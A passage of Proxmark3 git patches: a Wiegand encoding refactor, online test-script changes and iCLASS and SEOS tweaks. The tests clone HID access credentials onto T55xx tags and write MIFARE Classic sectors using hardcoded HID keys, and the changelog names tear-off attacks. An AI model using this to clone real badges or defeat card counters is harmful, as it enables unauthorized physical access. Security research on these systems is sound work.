wiegand_input_t * return PM3_EINVARG; } + // Normalize every accepted CLI form into the same wiegand_input_t so sim/clone can + // share validation and transport handling regardless of where the credential came from. if (cli->raw_len) { return wiegand_pack_from_raw_hid(cli->raw, cli->raw_len, input); } diff --git a/client/src/wiegand_formatutils.c b/client/src/wiegand_formatutils.c index a65939e94..ed63bc5dc 100644 --- a/client/src/wiegand_formatutils.c +++ b/client/src/wiegand_formatutils.c @@ -244,6 +244,8 @@ bool wiegand_raw_to_binstr(const uint8_t *raw, size_t raw_len, char *binstr, siz bytes_2_binstr(binstr, raw, raw_len); + // Raw HID transport embeds a leading sentinel/start bit before the actual Wiegand payload. + // Strip that prefix so every caller downstream sees only the logical payload bits. char *sentinel = strchr(binstr, '1'); if (sentinel == NULL || sentinel[1] == '\0') { return false; @@ -271,6 +273,7 @@ bool wiegand_new_pacs_to_binstr(const uint8_t *pacs, size_t pacs_len, char *bins bytes_2_binstr(binstr, pacs + 1, payload_len); + // The first PACS byte stores how many zero padding bits were added to the final octet. size_t trimmed_len = strlen(binstr); if (pacs[0] >= trimmed_len) { return false; @@ -289,6 +292,7 @@ int wiegand_pack_bin_with_hid_header(const char *binstr, wiegand_message_t *pack uint8_t hex[12] = {0}; BitstreamOut_t bout = {hex, 0, 0}; + // HID transport stores the payload right-aligned behind a sentinel bit inside a 96-bit frame. for (size_t i = 0; i < (96 - bin_len - 1); i++) { pushBit(&bout, 0); } @@ -359,6 +363,8 @@ int wiegand_pack_from_plain_bin(const char *binstr, wiegand_input_t *input) { return res; } + // Plain binary input is still useful to non-HID callers above 84 bits, even though it + // can no longer be repacked into the legacy HID transport words. if (input->bin_len > 84) { input->packed_valid = false; return PM3_SUCCESS; @@ -375,6 +381,7 @@ int wiegand_pack_from_new_pacs(const uint8_t *pacs, size_t pacs_len, wiegand_inp return res; } + // New PACS can represent longer credentials than packed HID transport can carry. if (input->bin_len > 84) { input->packed_valid = false; return PM3_SUCCESS; @@ -422,8 +429,9 @@ int wiegand_pack_from_raw_hid(const uint8_t *raw, size_t raw_len, wiegand_input_ memcpy(aligned + (sizeof(aligned) - raw_len), raw, raw_len); input->packed = initialize_message_object(bytes_to_num(aligned, 4), bytes_to_num(aligned + 4, 4), bytes_to_num(aligned + 8, 4), 0); - // Raw HID input preserves legacy behavior: transport words are populated, but - // packed Wiegand length is left unset because this path does not repack data. + // Raw HID input preserves legacy behavior by keeping the transport words exactly as + // provided. The packed length is then derived from the embedded HID header bits + // instead of being recomputed by repacking the normalized payload bitstring. input->packed_valid = true; return PM3_SUCCESS; } diff --git a/client/src/wiegand_formatutils.h b/client/src/wiegand_formatutils.h index c5d5fac69..046dbdd55 100644 --- a/client/src/wiegand_formatutils.h +++ b/client/src/wiegand_formatutils.h @@ -45,8 +45,8 @@ typedef struct { typedef struct { size_t bin_len; char binstr[145]; - bool packed_valid; - wiegand_message_t packed; + bool packed_valid; // False when the input has a valid bitstring but no packed HID transport form. + wiegand_message_t packed; // HID transport words used by LF/HID-oriented callers. } wiegand_input_t; uint8_t get_bit_by_position(const wiegand_message_t *data, uint8_t pos); @@ -62,16 +62,38 @@ wiegand_message_t initialize_message_object(uint32_t top, uint32_t mid, uint32_t uint8_t get_length_from_header(const wiegand_message_t *data); bool add_HID_header(wiegand_message_t *data); + +// Render a packed Wiegand message as a plain payload bitstring without HID transport framing. bool wiegand_message_to_binstr(const wiegand_message_t *packed, char *binstr, size_t binstr_size); + +// Decode raw HID transport bytes into a plain Wiegand payload bitstring. bool wiegand_raw_to_binstr(const uint8_t *raw, size_t raw_len, char *binstr, size_t binstr_size); + +// Decode the ASN.1 PACS form emitted by `wiegand encode --new` into a plain payload bitstring. bool wiegand_new_pacs_to_binstr(const uint8_t *pacs, size_t pacs_len, char *binstr, size_t binstr_size); + +// Validate and store a caller-provided binary Wiegand payload without attempting transport packing. int wiegand_set_plain_binstr(const char *binstr, wiegand_input_t *input); + +// Decode ASN.1 PACS input into the normalized binary representation used by downstream callers. int wiegand_set_new_pacs_binstr(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input); + +// Build HID transport words from a plain Wiegand payload, including sentinel placement and headers. int wiegand_pack_bin_with_hid_header(const char *binstr, wiegand_message_t *packed); + +// Encode a card-format struct through the existing HID formatter and return packed transport words. int wiegand_pack_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_message_t *packed); + +// Normalize ASN.1 PACS input and, when possible, also derive HID transport words for LF/HID callers. int wiegand_pack_from_new_pacs(const uint8_t *pacs, size_t pacs_len, wiegand_input_t *input); + +// Normalize plain binary input and, when possible, also derive HID transport words for LF/HID callers. int wiegand_pack_from_plain_bin(const char *binstr, wiegand_input_t *input); + +// Normalize formatted card data into both payload bits and packed transport words. int wiegand_pack_from_formatted(int format_idx, wiegand_card_t *card, bool preamble, wiegand_input_t *input); + +// Preserve legacy raw HID transport input while also exposing the decoded payload bitstring. int wiegand_pack_from_raw_hid(const uint8_t *raw, size_t raw_len, wiegand_input_t *input); #endif diff --git a/tools/pm3_online_tests.sh b/tools/pm3_online_tests.sh index 802439957..e56b03003 100755 --- a/tools/pm3_online_tests.sh +++ b/tools/pm3_online_tests.sh @@ -11,6 +11,8 @@ TESTALL=false TESTDESFIREVALUE=false TESTHIDWIEGAND=false TESTMFHIDENCODE=false +NEED_MF_HID_ENCODE_WIPE=false +TESTMANUAL=false # https://medium.com/@Drew_Stokes/bash-argument-parsing-54f3b81a6a8f PARAMS="" @@ -20,8 +22,9 @@ while (( "$#" )); do echo """ Usage: $0 [--pm3bin /path/to/pm3] [desfire_value|hid_wiegand|mf_hid_encode] --pm3bin ...: Specify path to pm3 binary to test + --manual ...: Pause after successful online LF HID clone/read checks for external reader verification desfire_value: Test DESFire value operations with card - hid_wiegand: Test LF HID simulate/clone Wiegand flows + hid_wiegand: Test LF HID T55xx clone and PM3 readback flows mf_hid_encode: Test MIFARE Classic HID encoding flows You must specify a test target - no default 'all' for online tests """ @@ -36,6 +39,10 @@ Usage: $0 [--pm3bin /path/to/pm3] [desfire_value|hid_wiegand|mf_hid_encode] exit 1 fi ;; + --manual) + TESTMANUAL=true + shift + ;; desfire_value) TESTALL=false TESTDESFIREVALUE=true @@ -109,13 +116,218 @@ function CheckExecute() { return 1 } +function CheckLfHidCloneReadback() { + printf "%-40s" "$1 " + + start=$(date +%s) + TIMEINFO="" + RES=$($PM3BIN -c "lf hid clone $2; lf hid reader" 2>&1) + end=$(date +%s) + delta=$(expr $end - $start) + if [ $delta -gt 2 ]; then + TIMEINFO=" ($delta s)" + fi + + if echo "$RES" | grep -E -q "$3"; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK} $TIMEINFO" + if $TESTMANUAL; then + echo " Manual check: $4" + WaitForEnter "PRESENT THE T55xx TAG TO ANOTHER READER AND CONFIRM: $4" + fi + return 0 + fi + + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Execution trace:" + echo "$RES" + return 1 +} + +function HexToBin() { + local hex="${1^^}" + local bin="" + local i ch + for ((i=0; i<${#hex}; i++)); do + ch="${hex:i:1}" + case "$ch" in + 0) bin+="0000" ;; + 1) bin+="0001" ;; + 2) bin+="0010" ;; + 3) bin+="0011" ;; + 4) bin+="0100" ;; + 5) bin+="0101" ;; + 6) bin+="0110" ;; + 7) bin+="0111" ;; + 8) bin+="1000" ;; + 9) bin+="1001" ;; + A) bin+="1010" ;; + B) bin+="1011" ;; + C) bin+="1100" ;; + D) bin+="1101" ;; + E) bin+="1110" ;; + F) bin+="1111" ;; + *) return 1 ;; + esac + done + printf "%s" "$bin" +} + +function RestoreMfHidEncodeSector0() { + $PM3BIN -c "hf mf wrbl --blk 3 -b -k 89ECA97F8C2A -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 3 -k FFFFFFFFFFFF -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 3 -k A0A1A2A3A4A5 -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 2 -k FFFFFFFFFFFF -d 00000000000000000000000000000000; \ +hf mf wrbl --blk 1 -k FFFFFFFFFFFF -d 00000000000000000000000000000000" >/dev/null 2>&1 || return 1 +} + +function RestoreMfHidEncodeSector1() { + $PM3BIN -c "hf mf wrbl --blk 7 -b -k 204752454154 -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 7 -k FFFFFFFFFFFF -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 7 -k 484944204953 -d FFFFFFFFFFFFFF078069FFFFFFFFFFFF" >/dev/null 2>&1 || true + $PM3BIN -c "hf mf wrbl --blk 6 -k FFFFFFFFFFFF -d 00000000000000000000000000000000; \ +hf mf wrbl --blk 5 -k FFFFFFFFFFFF -d 00000000000000000000000000000000; \ +hf mf wrbl --blk 4 -k FFFFFFFFFFFF -d 00000000000000000000000000000000" >/dev/null 2>&1 || return 1 +} + +function RestoreMfHidEncodeCard() { + RestoreMfHidEncodeSector0 || return 1 + RestoreMfHidEncodeSector1 || return 1 + + local verify + verify=$($PM3BIN -c 'hf mf rdbl --blk 1 -k FFFFFFFFFFFF; hf mf rdbl --blk 2 -k FFFFFFFFFFFF; hf mf rdbl --blk 4 -k FFFFFFFFFFFF; hf mf rdbl --blk 5 -k FFFFFFFFFFFF; hf mf rdbl --blk 6 -k FFFFFFFFFFFF' 2>&1) || return 1 + echo "$verify" | grep -E -q " 1 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$verify" | grep -E -q " 2 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$verify" | grep -E -q " 4 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$verify" | grep -E -q " 5 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$verify" | grep -E -q " 6 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" +} + +function CleanupMfHidEncodeCard() { + if [ "$NEED_MF_HID_ENCODE_WIPE" != true ]; then + return 0 + fi + + echo "" + printf "%-40s" "hf mf encodehid cleanup " + if RestoreMfHidEncodeCard; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK}" + else + echo -e "[ ${C_YELLOW}WARN${C_NC} ]" + echo "Cleanup could not restore sectors 0 and 1 to the default usable state." + fi +} + +function CheckMfHidEncodeRoundTrip() { + printf "%-40s" "$1 " + + start=$(date +%s) + TIMEINFO="" + if ! RestoreMfHidEncodeCard >/dev/null 2>&1; then + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL}" + echo "Execution trace:" + echo "Failed to restore sectors 0 and 1 to the default usable state before running the test." + return 1 + fi + + RES=$($PM3BIN -c "hf mf encodehid $2; hf mf rdbl --blk 5 -k 484944204953" 2>&1) + end=$(date +%s) + delta=$(expr $end - $start) + if [ $delta -gt 2 ]; then + TIMEINFO=" ($delta s)" + fi + + BLOCKHEX=$(printf "%s\n" "$RES" | LC_ALL=C grep -aoE '02( [0-9A-F]{2}){15}' | tail -n1 | tr -d ' ') + if [ -z "$BLOCKHEX" ]; then + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Execution trace:" + echo "$RES" + return 1 + fi + + if [[ "$BLOCKHEX" != 02* ]]; then + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Expected block 5 to start with the 0x02 HID marker." + echo "Actual block 5 data: $BLOCKHEX" + echo "Execution trace:" + echo "$RES" + return 1 + fi + + RAWPAYLOAD=${BLOCKHEX#02} + PAYLOADBIN=$(HexToBin "$RAWPAYLOAD") || { + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Execution trace:" + echo "$RES" + return 1 + } + + while [[ "$PAYLOADBIN" == 0* ]]; do + PAYLOADBIN=${PAYLOADBIN#0} + done + + if [[ "$PAYLOADBIN" != 1* ]]; then + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Expected a sentinel-prefixed Wiegand payload in block 5." + echo "Actual payload bits: $PAYLOADBIN" + echo "Execution trace:" + echo "$RES" + return 1 + fi + + RECOVERED_BIN=${PAYLOADBIN#1} + if [ "$RECOVERED_BIN" != "$3" ]; then + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Expected Wiegand bits: $3" + echo "Actual Wiegand bits: $RECOVERED_BIN" + echo "Execution trace:" + echo "$RES" + return 1 + fi + + DECODE_RES=$($PM3BIN -c "wiegand decode --bin $RECOVERED_BIN" 2>&1) + if echo "$DECODE_RES" | grep -E -q "$4"; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK} $TIMEINFO" + return 0 + fi + + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL} $TIMEINFO" + echo "Decode trace:" + echo "$DECODE_RES" + return 1 +} + +function CheckMfHidEncodeCleanup() { + printf "%-40s" "$1 " + RES=$($PM3BIN -c 'hf mf rdbl --blk 1 -k FFFFFFFFFFFF; hf mf rdbl --blk 2 -k FFFFFFFFFFFF; hf mf rdbl --blk 4 -k FFFFFFFFFFFF; hf mf rdbl --blk 5 -k FFFFFFFFFFFF; hf mf rdbl --blk 6 -k FFFFFFFFFFFF' 2>&1) + if echo "$RES" | grep -E -q " 1 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$RES" | grep -E -q " 2 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$RES" | grep -E -q " 4 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$RES" | grep -E -q " 5 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" \ + && echo "$RES" | grep -E -q " 6 \| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"; then + echo -e "[ ${C_GREEN}OK${C_NC} ] ${C_OK}" + return 0 + fi + + echo -e "[ ${C_RED}FAIL${C_NC} ] ${C_FAIL}" + echo "Execution trace:" + echo "$RES" + return 1 +} + function WaitForEnter() { echo "" echo "$1" echo "Press Enter when ready, or Ctrl-C to abort." - read -r + if [ -r /dev/tty ]; then + stty sane < /dev/tty 2>/dev/null || true + IFS= read -r < /dev/tty + else + read -r + fi } +trap CleanupMfHidEncodeCard EXIT + echo -e "${C_BLUE}Iceman Proxmark3 online test tool${C_NC}" echo "" echo "work directory: $(pwd)" @@ -161,19 +373,17 @@ while true; do fi if $TESTHIDWIEGAND; then - echo -e "\n${C_BLUE}Testing LF HID Wiegand flows${C_NC} ${PM3BIN:=./pm3}" + echo -e "\n${C_BLUE}Testing LF HID T55xx clone flows${C_NC} ${PM3BIN:=./pm3}" if ! CheckFileExist "pm3 exists" "$PM3BIN"; then break; fi - if ! CheckExecute "lf hid sim 26-bit bin" "$PM3BIN -c 'lf hid sim --bin 10001111100000001010100011'" "Simulating HID tag"; then break; fi - if ! CheckExecute "lf hid sim raw oversize" "$PM3BIN -c 'lf hid sim -r 01400076000c86' 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi - if ! CheckExecute "lf hid sim bin oversize" "PAT=\$(printf '01%.0s' {1..48}); $PM3BIN -c \"lf hid sim --bin \$PAT\" 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi - if ! CheckExecute "lf hid sim new oversize" "$PM3BIN -c 'lf hid sim --new 0000A4550148AB' 2>&1" "LF HID simulation supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid clone raw oversize" "$PM3BIN -c 'lf hid clone -r 01400076000c86' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi + if ! CheckExecute "lf hid clone bin oversize" "PAT=\$(printf '01%.0s' {1..48}); $PM3BIN -c \"lf hid clone --bin \$PAT\" 2>&1" "Packed HID encoding supports up to 84 Wiegand bits"; then break; fi + if ! CheckExecute "lf hid clone new oversize" "$PM3BIN -c 'lf hid clone --new 0000A4550148AB' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi WaitForEnter "PLACE A REWRITABLE T55xx TAG ON THE PM3 NOW" - if ! CheckExecute "lf hid clone 26-bit bin" "$PM3BIN -c 'lf hid clone --bin 10001111100000001010100011'" "Done!"; then break; fi - if ! CheckExecute "lf hid clone raw oversize" "$PM3BIN -c 'lf hid clone -r 01400076000c86' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi - if ! CheckExecute "lf hid clone bin oversize" "PAT=\$(printf '01%.0s' {1..48}); $PM3BIN -c \"lf hid clone --bin \$PAT\" 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi - if ! CheckExecute "lf hid clone new oversize" "$PM3BIN -c 'lf hid clone --new 0000A4550148AB' 2>&1" "LF HID clone supports only packed credentials up to 37 bits"; then break; fi + if ! CheckLfHidCloneReadback "lf hid clone H10301 26-bit" "-w H10301 --fc 118 --cn 1603" "H10301.*FC: 118.*CN: 1603" "H10301 26-bit, FC 118, CN 1603"; then break; fi + if ! CheckLfHidCloneReadback "lf hid clone C1k35s 35-bit" "-w C1k35s --fc 118 --cn 1603" "C1k35s.*FC: 118.*CN: 1603" "C1k35s 35-bit, FC 118, CN 1603"; then break; fi + if ! CheckLfHidCloneReadback "lf hid clone H10304 37-bit" "-w H10304 --fc 118 --cn 1603" "H10304.*FC: 118.*CN: 1603" "H10304 37-bit, FC 118, CN 1603"; then break; fi fi if $TESTMFHIDENCODE; then @@ -181,9 +391,13 @@ while true; do if ! CheckFileExist "pm3 exists" "$PM3BIN"; then break; fi WaitForEnter "PLACE A BLANK MIFARE CLASSIC 1K CARD ON THE PM3 NOW" - if ! CheckExecute "hf mf encodehid bin" "$PM3BIN -c 'hf mf encodehid --bin 10001111100000001010100011; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi - if ! CheckExecute "hf mf encodehid raw" "$PM3BIN -c 'hf mf encodehid --raw 023E02A3; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi - if ! CheckExecute "hf mf encodehid new" "$PM3BIN -c 'hf mf encodehid --new 068F80A8C0; hf mf rdbl --blk 5 -k FFFFFFFFFFFF'" "023E02A3"; then break; fi + NEED_MF_HID_ENCODE_WIPE=true + if ! CheckMfHidEncodeRoundTrip "hf mf encodehid bin roundtrip" "--bin 10001111100000001010100011" "10001111100000001010100011" "H10301.*FC: 31.*CN: 337"; then break; fi + if ! CheckMfHidEncodeRoundTrip "hf mf encodehid raw roundtrip" "--raw 063E02A3" "10001111100000001010100011" "H10301.*FC: 31.*CN: 337"; then break; fi + if ! CheckMfHidEncodeRoundTrip "hf mf encodehid new roundtrip" "--new 068F80A8C0" "10001111100000001010100011" "H10301.*FC: 31.*CN: 337"; then break; fi + if ! CheckMfHidEncodeRoundTrip "hf mf encodehid format roundtrip" "-w H10301 --fc 31 --cn 337" "10001111100000001010100011" "H10301.*FC: 31.*CN: 337"; then break; fi + if ! RestoreMfHidEncodeCard; then break; fi + if ! CheckMfHidEncodeCleanup "hf mf encodehid cleanup verify"; then break; fi fi echo -e "\n------------------------------------------------------------" From cfb3239e88a687c18d81577e28456722e14482a5 Mon Sep 17 00:00:00 2001 From: CinderSocket Date: Tue, 17 Mar 2026 16:43:07 -0700 Subject: [PATCH 111/162] Add changelog entry --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3b85b54d9..753cb471a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] - Added `hf iclass blacktears` command to perform an automated tearoff of block 1 to set non-secure page mode(@antiklesys) +- Changed wiegand encoding to use shared helpers and have unified parameters (--raw, --bin, --new, --wiegand, etc.) (@cindersocket) - Added `hf gst read` command (@kormax) - Added `hf gst info` command (@kormax) - Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) From 440d82ae26e2ba724e75c55a1e9e40ed72b066aa Mon Sep 17 00:00:00 2001 From: "Aaron Tulino (Aaronjamt)" Date: Tue, 17 Mar 2026 18:31:07 -0700 Subject: [PATCH 112/162] [hf seos] Increase maximum ADF OID length Some newer MOB/ICE OIDs have gotten quite large. Custom OIDs may also be even larger. --- client/src/cmdhfseos.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index ddd2657a1..d077925b7 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -849,7 +849,7 @@ static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encr // Skip synthesized IV for (int i = iv_size * 2; i < CRYPTOGRAM_decrypted_data_length; i++) { // ADF OID tag - if (CRYPTOGRAM_decrypted_data[i] == 0x06 && CRYPTOGRAM_decrypted_data[i + 1] < 20) { + if (CRYPTOGRAM_decrypted_data[i] == 0x06 && CRYPTOGRAM_decrypted_data[i + 1] <= 32) { adf_length = ((CRYPTOGRAM_decrypted_data[i + 1])); diversifier_length = CRYPTOGRAM_decrypted_data[i + adf_length + 3]; if (*diversifier_length_out < diversifier_length) { From f8ff76c5aed3c79911ecc9f7ce6f5621d9c97aa4 Mon Sep 17 00:00:00 2001 From: "Aaron Tulino (Aaronjamt)" Date: Tue, 17 Mar 2026 19:04:53 -0700 Subject: [PATCH 113/162] [hf seos] Move max OID len to preproc define --- client/src/cmdhfseos.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index d077925b7..8021b7375 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -43,6 +43,7 @@ static uint8_t zeros[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; #define MAX_DIVERSIFIER_LEN 16 +#define MAX_OID_LEN 32 static int CmdHelp(const char *Cmd); @@ -849,7 +850,7 @@ static int select_ADF_decrypt(const char *selectADFOID, uint8_t *CRYPTOGRAM_encr // Skip synthesized IV for (int i = iv_size * 2; i < CRYPTOGRAM_decrypted_data_length; i++) { // ADF OID tag - if (CRYPTOGRAM_decrypted_data[i] == 0x06 && CRYPTOGRAM_decrypted_data[i + 1] <= 32) { + if (CRYPTOGRAM_decrypted_data[i] == 0x06 && CRYPTOGRAM_decrypted_data[i + 1] <= MAX_OID_LEN) { adf_length = ((CRYPTOGRAM_decrypted_data[i + 1])); diversifier_length = CRYPTOGRAM_decrypted_data[i + adf_length + 3]; if (*diversifier_length_out < diversifier_length) { From d328601dc9f5861f125a9fbb19b0f26045a4b173 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Wed, 18 Mar 2026 10:08:14 +0800 Subject: [PATCH 114/162] Added --raw support for hf iclass blacktears --- client/src/cmdhficlass.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index ea64c84ce..8aad17fe4 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3602,6 +3602,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { arg_int0("i", NULL, "", "tearoff delay increment (in us) - default 10"), arg_int0("e", NULL, "", "tearoff delay end (in us) must be a higher value than the start delay"), arg_str0("o", "otp", "", "Custom OTP value as 2 hex bytes"), + arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), arg_param_end @@ -3628,10 +3629,10 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { uint8_t otp[2] = {0}; CLIGetHexWithReturn(ctx, 7, otp, &otp_len); - bool verbose = arg_get_lit(ctx, 8); - bool shallow_mod = arg_get_lit(ctx, 9); + bool verbose = arg_get_lit(ctx, 9); + bool shallow_mod = arg_get_lit(ctx, 10); bool elite = false; - bool rawkey = false; + bool rawkey = arg_get_lit(ctx, 8); bool use_replay = false; //not implemented in this mode bool read_auth = false; bool use_credit_key = arg_get_lit(ctx, 3); From 09ee0ced2c78ea4f76bf51cc657b2c3bdf4b4561 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 18 Mar 2026 10:50:48 +0700 Subject: [PATCH 115/162] reset fpga after simulation, to see if this stabilizes the device --- armsrc/iclass.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 423742e70..77d5ffa35 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -272,9 +272,12 @@ void iclass_simulate(uint8_t sim_type, uint8_t num_csns, bool send_reply, uint8_ } out: - if (dataout && dataoutlen) + if (dataout && dataoutlen) { memcpy(dataout, mac_responses, *dataoutlen); + } + + FpgaResetBitstream(); switch_off(); BigBuf_free_keep_EM(); } @@ -815,15 +818,15 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { } if (simulationMode == ICLASS_SIM_MODE_FULL_GLITCH) { - //Jam the read based on the last SIO block + // jam the read based on the last SIO block uint8_t *sr_or_sio = emulator + (current_page * page_size) + (6 * 8); - if (memcmp(emulator + (current_page * page_size) + (5 * 8), ff_data, PICOPASS_BLOCK_SIZE) == 0) { //SR card - if (block == 16) { //SR cards use a standard legth SIO - //update block 6 byte 1 from 03 to A3 + if (memcmp(emulator + (current_page * page_size) + (5 * 8), ff_data, PICOPASS_BLOCK_SIZE) == 0) { // SR card + if (block == 16) { // SR cards use a standard legth SIO + // update block 6 byte 1 from 03 to A3 sr_or_sio[0] |= 0xA0; goto send; } - } else { //For SE cards we have to account for different SIO lengths depending if a standard or custom key is used + } else { // for SE cards we have to account for different SIO lengths depending if a standard or custom key is used if (block == (5 + ((sr_or_sio[1] + 12) / 8))) { goto send; } @@ -921,6 +924,7 @@ send: DbpString("button pressed"); } + return button_pressed; } From 3eac1861f6baa0127855edb2323781f7f4bda8ab Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 18 Mar 2026 11:00:34 +0700 Subject: [PATCH 116/162] adapted `hf iclass blacktears` - textually and some logic --- client/src/cmdhficlass.c | 276 +++++++++++++++++++++++++++++++-------- 1 file changed, 221 insertions(+), 55 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index ea64c84ce..be24cc6c1 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -1923,6 +1923,115 @@ static bool select_only(uint8_t *CSN, uint8_t *CCNR, bool verbose, bool shallow_ return true; } +// iclass_dump_non_secure - read all blocks from a non-secure page mode iCLASS tag. +// Returns PM3_SUCCESS on success. On success, *tag_data is filled with the +// full tag memory (0x100 * 8 bytes) and *taglen is set to the number of +// valid bytes (= (app_limit1 + 1) * 8). +// Caller must pass a zeroed/initialised buffer of at least 0x100 * 8 bytes. +static int iclass_dump_non_secure(bool shallow_mod, uint8_t *tag_data, uint16_t *taglen) { + + iclass_card_select_t payload_rdr = { + .flags = (FLAG_ICLASS_READER_INIT | FLAG_ICLASS_READER_CLEARTRACE) + }; + + if (shallow_mod) { + payload_rdr.flags |= FLAG_ICLASS_READER_SHALLOW_MOD; + } + + clearCommandBuffer(); + PacketResponseNG resp; + SendCommandNG(CMD_HF_ICLASS_READER, (uint8_t *)&payload_rdr, sizeof(iclass_card_select_t)); + if (WaitForResponseTimeout(CMD_HF_ICLASS_READER, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "command execution time out"); + DropField(); + return PM3_ESOFT; + } + DropField(); + + if (resp.status == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "no tag found"); + return PM3_ESOFT; + } + + iclass_card_select_resp_t *r = (iclass_card_select_resp_t *)resp.data.asBytes; + if (r->status == FLAG_ICLASS_NULL) { + PrintAndLogEx(FAILED, "failed to read block 0,1,2"); + return PM3_ESOFT; + } + + picopass_hdr_t *hdr = &r->header.hdr; + + // copy blocks 0-2 (CSN, config, e-purse) already returned by reader command + memcpy(tag_data, hdr, 24); + + uint8_t type = get_mem_config(hdr); + uint8_t app_limit1 = card_app2_limit[type]; + + PrintAndLogEx(INFO, "Non-secure page mode"); + PrintAndLogEx(INFO, "Dumping all available memory, block 3 - %u (0x%02x)", app_limit1, app_limit1); + + iclass_dump_req_t payload = { + .req.use_raw = false, + .req.use_elite = false, + .req.use_credit_key = false, + .req.use_replay = false, + .req.send_reply = true, + .req.do_auth = false, + .req.shallow_mod = shallow_mod, + .start_block = 3, + .end_block = app_limit1, + }; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ICLASS_DUMP, (uint8_t *)&payload, sizeof(payload)); + + while (true) { + PrintAndLogEx(NORMAL, "." NOLF); + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); + DropField(); + return PM3_EOPABORTED; + } + if (WaitForResponseTimeout(CMD_HF_ICLASS_DUMP, &resp, 2000)) { + break; + } + } + PrintAndLogEx(NORMAL, ""); + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to communicate with card"); + return resp.status; + } + + struct p_resp { + bool isOK; + uint16_t block_cnt; + 